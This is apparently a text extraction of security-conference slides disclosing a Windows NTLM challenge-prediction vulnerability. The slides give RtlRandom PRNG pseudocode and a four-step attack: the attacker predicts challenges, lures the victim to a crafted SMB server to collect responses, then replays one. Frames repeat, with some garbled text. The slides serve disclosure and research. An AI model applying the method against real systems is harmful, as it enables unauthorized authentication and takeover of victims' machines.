85 RtlRandom overview: MacLaren-Marsaglia Generators [4/4] M-M vector V V0 V1 V2... Vj X Vn-3 Vn-2 Vn-1 Vector V, size n, initialized X = LCG1() Y = LCG2() j = Y & (n - 1) Z = V[j] V[j] = X return Z Vj Z
86 RtlRandom() pseudocode DWORD _RtlpRandomConstantVector[128] DWORD ntoskrnl!rtlrandom(dword *Seed) { DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier DWORD c = 0x7FFFFFC3; // LCG{1,2} increment DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus DWORD X; DWORD Y; DWORD Z; X = ( a * (*Seed) + c ) mod m Y = ( a * X + c ) mod m *Seed = Y j = Y & 0x7F Z = _RtlpRandomConstantVector[j] _RtlpRandomConstantVector[j] = X // LCG1 output // LCG2 output // RtlRandom output // M-M LCG1 // M-M LCG2 // returned as context // index derived from LCG2 // FETCH // STORE } return Z
87 RtlRandom() pseudocode DWORD _RtlpRandomConstantVector[128] DWORD ntoskrnl!rtlrandom(dword *Seed) { DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier DWORD c = 0x7FFFFFC3; // LCG{1,2} increment DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus DWORD X; DWORD Y; DWORD Z; X = ( a * (*Seed) + c ) mod m Y = ( a * X + c ) mod m *Seed = Y j = Y & 0x7F Z = _RtlpRandomConstantVector[j] _RtlpRandomConstantVector[j] = X // LCG1 output // LCG2 output // RtlRandom output // M-M LCG1 // M-M LCG2 // returned as context // index derived from LCG2 // FETCH // STORE } return Z
88 RtlRandom() pseudocode DWORD _RtlpRandomConstantVector[128] DWORD ntoskrnl!rtlrandom(dword *Seed) { DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier DWORD c = 0x7FFFFFC3; // LCG{1,2} increment DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus DWORD X; DWORD Y; DWORD Z; X = ( a * (*Seed) + c ) mod m Y = ( a * X + c ) mod m *Seed = Y j = Y & 0x7F Z = _RtlpRandomConstantVector[j] _RtlpRandomConstantVector[j] = X // LCG1 output // LCG2 output // RtlRandom output // M-M LCG1 // M-M LCG2 // returned as context // index derived from LCG2 // FETCH // STORE } return Z
89 RtlRandom() pseudocode DWORD _RtlpRandomConstantVector[128] DWORD ntoskrnl!rtlrandom(dword *Seed) { DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier DWORD c = 0x7FFFFFC3; // LCG{1,2} increment DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus DWORD X; DWORD Y; DWORD Z; X = ( a * (*Seed) + c ) mod m Y = ( a * X + c ) mod m *Seed = Y j = Y & 0x7F Z = _RtlpRandomConstantVector[j] _RtlpRandomConstantVector[j] = X // LCG1 output // LCG2 output // RtlRandom output // M-M LCG1 // M-M LCG2 // returned as context // index derived from LCG2 // FETCH // STORE } return Z
90 RtlRandom() pseudocode DWORD _RtlpRandomConstantVector[128] DWORD ntoskrnl!rtlrandom(dword *Seed) { DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier DWORD c = 0x7FFFFFC3; // LCG{1,2} increment DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus DWORD X; DWORD Y; DWORD Z; X = ( a * (*Seed) + c ) mod m Y = ( a * X + c ) mod m *Seed = Y j = Y & 0x7F Z = _RtlpRandomConstantVector[j] _RtlpRandomConstantVector[j] = X // LCG1 output // LCG2 output // RtlRandom output // M-M LCG1 // M-M LCG2 // returned as context // index derived from LCG2 // FETCH // STORE } return Z
91 RtlRandom() pseudocode DWORD _RtlpRandomConstantVector[128] DWORD ntoskrnl!rtlrandom(dword *Seed) { DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier DWORD c = 0x7FFFFFC3; // LCG{1,2} increment DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus DWORD X; DWORD Y; DWORD Z; X = ( a * (*Seed) + c ) mod m Y = ( a * X + c ) mod m *Seed = Y j = Y & 0x7F Z = _RtlpRandomConstantVector[j] _RtlpRandomConstantVector[j] = X // LCG1 output // LCG2 output // RtlRandom output // M-M LCG1 // M-M LCG2 // returned as context // index derived from LCG2 // FETCH // STORE } return Z
92 RtlRandom() pseudocode DWORD _RtlpRandomConstantVector[128] DWORD ntoskrnl!rtlrandom(dword *Seed) { DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier DWORD c = 0x7FFFFFC3; // LCG{1,2} increment DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus DWORD X; DWORD Y; DWORD Z; X = ( a * (*Seed) + c ) mod m Y = ( a * X + c ) mod m *Seed = Y j = Y & 0x7F // LCG1 output // LCG2 output // RtlRandom output // M-M LCG1 // M-M LCG2 // returned as context // index derived from LCG2 Z = _RtlpRandomConstantVector[j] _RtlpRandomConstantVector[j] = X // FETCH // STORE } return Z
93 RtlRandom() pseudocode DWORD _RtlpRandomConstantVector[128] DWORD ntoskrnl!rtlrandom(dword *Seed) { DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier DWORD c = 0x7FFFFFC3; // LCG{1,2} increment DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus DWORD X; DWORD Y; DWORD Z; X = ( a * (*Seed) + c ) mod m Y = ( a * X + c ) mod m *Seed = Y j = Y & 0x7F // LCG1 output // LCG2 output // RtlRandom output // M-M LCG1 // M-M LCG2 // returned as context // index derived created LCG2 Z = RtlpRandomConstantVector[j] _RtlpRandomConstantVector[j] = X // FETCH // STORE } return Z
94 RtlRandom() pseudocode DWORD _RtlpRandomConstantVector[128] DWORD ntoskrnl!rtlrandom(dword *Seed) { DWORD a = 0x7FFFFFED; // LCG{1,2} multiplier DWORD c = 0x7FFFFFC3; // LCG{1,2} increment DWORD m = 0x7FFFFFFF; // LCG{1,2} modulus DWORD X; DWORD Y; DWORD Z; X = ( a * (*Seed) + c ) mod m Y = ( a * X + c ) mod m *Seed = Y j = Y & 0x7F Z = _RtlpRandomConstantVector[j] _RtlpRandomConstantVector[j] = X // LCG1 output // LCG2 output // RtlRandom output // M-M LCG1 // M-M LCG2 // returned as context // index derived from LCG2 // FETCH // STORE } return Z;
95 RtlRandom() summary It is an M-M system Two operations can be defined FETCH: dependent on values of the table AND the seed/ context STORE, dependent on values of the seed/context BUT independent of the values of the table _RtlpRandomConstantVector _RtlpRandomConstantVector
96 Challenge generation macro analysis overview The PRNG internal state depends on 1. _EncryptionKeyCount value 2. Calls to RtlRandom() 3. Return value of KeQuerySystemTime()... So we analyzed each of these components...
97 Challenge generation macro analysis [1/3] _EncryptionKeyCount value Always initialized to zero at system boot time Only updated by GetEncryptionKey, which is not usually called _EncryptionKeyCount is predictable ( _EncryptionKeyCount = 0 )
98 Challenge generation macro analysis [2/3] Calls to RtlRandom() They are performed every time a process is spawned not an issue large number of process spawns during attack not likely try another predicted challenge launch the attack again The internal state of RtlRandom() can be considered stable
99 Challenge generation macro analysis [3/3] KeQuerySystemTime() return value The current system time of the Server is leaked during SMB NTLM negotiation KeQuerySystemTime() return value is known by the attacker
100 The attack: Loading dices i.set RtlRandom internal state to a known state ii.calculate possible challenges iii.collect possible responses iv.connect and use a valid response
101 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send packet that triggers RtlRandom b.wait for challenge and timestamp (leaked server time) c.simulate M-M store behaviour d.loop to a. until simulated M-M vector is complete Attacker Victim Attacker simulated M-M vector Victim RtlRandom M-M vector?????????
102 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send a packet that that triggers triggers RtlRandom RtlRandom b.receive b.wait for response challenge and save timestamp received (leaked timestamp server time) c.simulate the M-M M-M store store behaviour behaviour d.loop to a a. until the simulated simulated M-M M-M vector vector is complete is complete Attacker Requests authentication Victim Attacker simulated M-M vector Victim RtlRandom M-M vector?????????
103 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send a packet a packet that that triggers that triggers RtlRandom RtlRandom b.receive b.wait for response challenge and save and received timestamp (leaked server time) c.simulate the M-M M-M store store behaviour d.loop to a. until the simulated M-M M-M vector vector is complete is Attacker Requests authentication Returns a challenge + timestamp Victim Attacker simulated M-M vector Victim RtlRandom M-M vector? v1????? v6?? v8?
104 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send a packet a packet that that triggers that triggers RtlRandom RtlRandom b.receive b.wait for challenge response and save and timestamp received save (leaked received timestamp server timestamp time) c.simulate the M-M store behaviour d.loop to a. until the simulated M-M M-M vector vector is complete is Attacker Requests authentication Returns a challenge + timestamp Victim Attacker simulated M-M vector 0 v v6 0 0 v8 0 Victim RtlRandom M-M vector? v1????? v6?? v8?
105 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send a packet a packet that that triggers that triggers RtlRandom RtlRandom b.receive b.wait for response challenge and save and timestamp received save (leaked received timestamp server timestamp time) c.simulate the M-M the M-M store M-M store behaviour store behaviour behaviour d.loop to to a until a. until the simulated M-M M-M vector vector is complete is complete Attacker Requests authentication Returns a challenge + timestamp Victim Attacker simulated M-M vector 0 v v6 0 0 v8 0 Victim RtlRandom M-M vector? v1????? v6?? v8?
106 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send a packet a packet that that triggers that triggers RtlRandom RtlRandom b.receive b.wait for response challenge and save and timestamp received save (leaked received timestamp server timestamp time) c.simulate the M-M the M-M store M-M store behaviour store behaviour behaviour d.loop to to a until a. until the simulated M-M M-M vector vector is complete is complete Attacker Requests authentication Returns a challenge + timestamp Victim Attacker simulated M-M vector 0 v v6 0 0 v8 0 Victim RtlRandom M-M vector? v1????? v6?? v8?
107 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send a packet a packet that that triggers that triggers RtlRandom RtlRandom b.receive b.wait for response challenge and save and timestamp received save (leaked received timestamp server timestamp time) c.simulate the M-M the M-M store M-M store behaviour store behaviour behaviour d.loop to to a until a. until the simulated M-M M-M vector vector is complete is complete Attacker Requests authentication Returns a challenge + timestamp Victim Attacker simulated M-M vector 0 v v6 0 0 v8 0 Victim RtlRandom M-M vector? v1? v2? v3?? v5? v6?? v8?
108 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send a packet a packet that that triggers that triggers RtlRandom RtlRandom b.receive b.wait for response challenge and save and timestamp received save (leaked received timestamp server timestamp time) c.simulate the M-M the M-M store M-M store behaviour store behaviour behaviour d.loop to to a until a. until the simulated M-M M-M vector vector is complete is complete Attacker Requests authentication Returns a challenge + timestamp Victim Attacker simulated M-M vector 0 v1 0 v2 0 v3 0 0 v5 0 v6 0 0 v8 0 Victim RtlRandom M-M vector? v1? v2? v3?? v5? v6?? v8?
109 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send packet that triggers RtlRandom b.wait for challenge and timestamp (leaked server time) c.simulate M-M store behaviour d.loop to a. until simulated M-M vector is complete Attacker Requests authentication Returns a challenge + timestamp Victim Attacker simulated M-M vector 0 v1 v2 v3 0 v5 v6 0 v8 Victim RtlRandom M-M vector? v1 v2 v3? v5 v6? v8
110 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send packet that triggers RtlRandom b.wait for challenge and timestamp (leaked server time) c.simulate M-M store behaviour d.loop to a. until simulated M-M vector is complete Attacker Requests authentication Returns a challenge + timestamp Victim Attacker simulated M-M vector 0 v1 v2 v3 0 v5 v6 0 v8 Victim RtlRandom M-M vector v0 v1 v2 v3 v4 v5 v6 v7 v8
111 Challenge prediction attack [1/4] Step 1 - Set RtlRandom internal state to a known state a.send packet that triggers RtlRandom b.wait for challenge and timestamp (leaked server time) c.simulate M-M store behaviour d.loop to a. until simulated M-M vector is complete Attacker Requests authentication Returns a challenge + timestamp Victim Attacker simulated M-M vector v0 v1 v2 v3 v4 v5 v6 v7 v8 Victim RtlRandom M-M vector v0 v1 v2 v3 v4 v5 v6 v7 v8
112 Challenge prediction attack [2/4] Step 2 - Calculate possible challenges Given an internal RtlRandom() state it is necessary to calculate all combinations that can be generated Attacker simulated M-M vector unique({ 2 X } ²) v0 v1 v2 v3 v4 v5 v6 v7 v8
113 Challenge prediction attack [3/4] Step 3 - Collect possible responses Force the victim to connect to a specially crafted SMB server to collect all the generated responses encrypted/hashed with his credentials Attacker Victim
114 Challenge prediction attack [3/4] Step 3 - Collect possible responses Force the victim to connect to a specially crafted SMB server to collect all the generated responses encrypted/hashed with his credentials a. Sends Attacker Victim
115 Challenge prediction attack [3/4] Step 3 - Collect possible responses Force the victim to connect to a specially crafted SMB server to collect all the generated responses encrypted/hashed with his credentials a. Sends Attacker b. Connects to attacker s custom SMB server Victim
116 Challenge prediction attack [3/4] Step 3 - Collect possible responses Force the victim to connect to a specially crafted SMB server to collect all the generated responses encrypted/hashed with his credentials a. Sends Attacker b. Connects to attacker s custom SMB server c Sends challenges pre-calculated in step 2 Victim
117 Challenge prediction attack [3/4] Step 3 - Collect possible responses Force the victim to connect to a specially crafted SMB server to collect all the generated responses encrypted/hashed with his credentials a. Sends Attacker b. Connects to attacker s custom SMB server c Sends challenges pre-calculated in step 2 d. Sends responses Victim
118 Challenge prediction attack [4/4] Step 4 - Connect and use a valid response Performing only one authentication attempt, the attacker gains access to the victim using a valid response for the issued challenge Attacker Victim
119 Challenge prediction attack [4/4] Step 4 - Connect and use a valid response Performing only one authentication attempt, the attacker gains access to the victim using a valid response for the issued challenge a. Requests authentication Attacker Victim
120 Challenge prediction attack [4/4] Step 4 - Connect and use a valid response Performing only one authentication attempt, the attacker gains access to the victim using a valid response for the issued challenge a. Requests authentication Attacker b. Returns one of the predicted challenges in step 2 Victim
121 Challenge prediction attack [4/4] Step 4 - Connect and use a valid response Performing only one authentication attempt, the attacker gains access to the victim using a valid response for the issued challenge a. Requests authentication Attacker b. Returns one of the predicted challenges in step 2 c. Responds with a valid response collected in step 3 Victim
122 Challenge prediction attack [4/4] Step 4 - Connect and use a valid response Performing only one authentication attempt, the attacker gains access to the victim using a valid response for the issued challenge a. Requests authentication Attacker b. Returns one of the predicted challenges in step 2 c. Responds with a valid response collected in step 3 d. Authenticates Ok Victim
123 Clearing up Misconceptions This is not related to SMBRelay - This is a new vulnerability, different code, different issue, different patch - MS does not address this vulnerability nor prevents attacks against the same machine - Dictionary of nonces/challenges can be reused - no active connection needed - attack once, exploit many times
124 Vulnerability Scope, Severity and Impact MS categorized the vuln as Important and as an Elevation of privilege We discussed this with MS and accept their opinion.. But we respectfully disagree... :) - Critical vulnerability that allows remote code execution
125 Vulnerability Scope, Severity and Impact Affects all versions of Windows! - from NT3.1 to Windows 7, Server 2008, etc. It s a 17-year old vulnerability in the Windows authentication mechanism! Think about it... all these years, several attacks have been possible against Windows NTLM authentication sessions!
126 Vulnerability Scope, Severity and Impact Elevation of privilege? - Leads to remote code execution! - Is a buffer overflow allowing remote code execution an elevation of privilege vulnerability?..
127 Conclusions Three different exploitation methods Passive replay Active replay generation of duplicate challenges a dictionary can be created Prediction of challenges Bits from the seed are leaked by the Server the internal state of the PRNG can be calculated future challenges can be predicted Vulnerability leads to remote code execution
128 Conclusions Cryptographic code should be periodically reviewed Next time you audit code and see a call to *random*()... Don t jump to the next line! :) analyze! Next time you audit code and see a seed Verify Entropy sources Carefully understand how it is created & used Look for possible side-channel attacks
129 Thank you! s: - Hernan Ochoa: hernan@ampliasecurity.com - Agustin Azubel: aazubel@ampliasecurity.com
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